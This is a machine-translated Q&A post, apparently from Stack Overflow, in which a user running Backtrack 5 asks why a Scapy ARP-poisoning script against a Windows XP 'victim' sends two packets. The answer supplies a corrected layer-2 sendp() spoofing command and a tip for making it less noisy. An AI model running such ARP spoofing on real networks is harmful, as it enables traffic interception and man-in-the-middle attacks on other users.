Scapy arp中毒不适合我

时间:2013-12-05 11:21:08

标签: python scapy

我使用scapy攻击使用Backtrack 5的Windows XP计算机。

现在我的代码是:

#! /usr/bin/env python

from scapy.all import *

arp_p = ARP(op = 1, psrc = "192.168.0.1", pdst = "192.168.0.106", hwsrc = "00:0c:29:f0:2d:19", hwdst = "ff:ff:ff:ff:ff:ff)
send(arp_p)

上面的代码实际上由于某种原因发送了两个数据包。有一次我的回溯mac问:

  

谁拥有192.168.0.106 (受害者的IP)?告诉192.168.0.108 (Backtrack' s   IP - 不支持!)

然后他得到了"在"来自受害者的回答。

第二次我的回溯麦克风问:

  

谁拥有192.168.0.106 (受害者的IP)?告诉192.168.0.1 (路由器' s   IP)。

然后他得到了"在"再次从受害者那里回答。

然后受害者的ARP表必须是相同mac但不同IP的线路,一个是Backtrack的真实IP,第二个是路由器的IP。

为什么会这样?

1 个答案:

答案 0 :(得分:1)

您看到的第一个ARP数据包来自Scapy,因为它希望在Ether send()数据包之前使用受害者的MAC地址填充ARP帧。

如果您不希望发生这种情况,请尝试(sendp在第2层发送):

>>> sendp(Ether(dst=ETHER_BROADCAST)/ARP(psrc = "192.168.0.1", pdst = "192.168.0.106"))

您可以将ETHER_BROADCAST替换为受害者的MAC地址,而不是“嘈杂”。